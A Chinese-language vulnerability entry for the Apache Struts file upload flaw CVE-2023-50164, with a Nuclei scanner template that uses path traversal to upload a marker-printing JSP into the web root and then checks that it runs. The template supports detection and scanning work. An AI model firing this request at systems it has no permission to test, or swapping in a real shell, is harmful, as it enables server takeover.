Apache Struts Arbitrary File Upload RCE

漏洞信息

漏洞名称： Apache Struts Arbitrary File Upload RCE

漏洞编号：

• CVE： CVE-2023-50164

漏洞类型： 文件上传

漏洞等级： 严重

漏洞描述： Apache Struts是一个广泛使用的开源MVC框架，用于构建企业级Java Web应用程序。它因其灵活性和强大的功能而受到开发者的青睐，常被部署在需要高度可定制Web解决方案的场景中。此次发现的漏洞CVE-2023-50164影响了2.5.33之前和6.3.0.2之前的版本，属于文件上传漏洞，攻击者可以利用路径遍历技术在文件上传过程中将文件写入任意位置。这种漏洞的技术根源在于服务器端对用户上传文件的路径验证不足，导致攻击者能够绕过预期的安全限制。此漏洞的严重性在于，它允许攻击者上传恶意文件（如JSP文件）到服务器的任意目录，进而可能导致远程代码执行（RCE）。这意味着攻击者可以在受影响的服务器上执行任意代码，完全控制服务器，窃取敏感数据，或对其他系统发起进一步攻击。值得注意的是，利用此漏洞不需要身份验证，且可以自动化执行，大大增加了其潜在危害。

产品厂商： Apache

产品名称： Apache Struts

影响版本： version < 2.5.33, version < 6.3.0.2

来源： https://github.com/projectdiscovery/nuclei-templates/blob/dae04757df8bc5633e3916b2a79ff7bbd614d5c6/dast%2Fcves%2F2023%2Fcve-2023-50164.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2023-50164

info:
  name: Apache Struts Arbitrary File Upload RCE (DAST) - CVE-2023-50164
  author: Dev Bui Hieu
  severity: critical
  description: |
    Apache Struts versions before 2.5.33 and 6.3.0.2 are vulnerable to CVE-2023-50164,
    allowing attackers to write files to arbitrary locations via path traversal during file upload.

    This is a DAST-style template, designed for dynamic scanning when full upload endpoints are known. 
    You must provide the full upload endpoint URL when running this template, for example:
    nuclei -t cve-2023-50164.yaml -u http://target.com/upload.action

    If vulnerable, this template attempts to upload a JSP file containing a unique marker string.
    It then verifies execution by visiting the uploaded JSP file directly.

  remediation: |
    Update to Apache Struts 2.5.33 or 6.3.0.2 (or later), where the vulnerability has been patched.
    Avoid using user-supplied file paths for file uploads and validate file paths server-side.

  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50164
    - https://github.com/NikitaPark/CVE-2023-50164-PoC
  classification:
    cve-id: CVE-2023-50164
    cwe-id: CWE-22
  metadata:
    type: dast
    verified: true
    max-request: 2
  tags: cve,cve2023,struts,rce,upload,path-traversal,dast

variables:
  shellname: "nuclei_{{randstr}}.jsp"
  shellmarker: "NUCLEI-RCE-MARKER-{{randstr}}"
  upload-path: "../../webapps/ROOT/{{shellname}}"

requests:
  - method: POST
    path:
      - "{{BaseURL}}"

    headers:
      Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150
      Accept-Encoding: gzip, deflate

    body: |
      -----------------------------735323031399963166993862150
      Content-Disposition: form-data; name="Upload"; filename="{{shellname}}"
      Content-Type: application/octet-stream

      <% out.println("{{shellmarker}}"); %>
      -----------------------------735323031399963166993862150
      Content-Disposition: form-data; name="uploadFileName"

      {{upload-path}}
      -----------------------------735323031399963166993862150--

    matchers:
      - type: status
        status:
          - 200

  - method: GET
    path:
      - "{{RootURL}}/{{shellname}}"

    matchers:
      - type: word
        part: body
        words:
          - "{{shellmarker}}"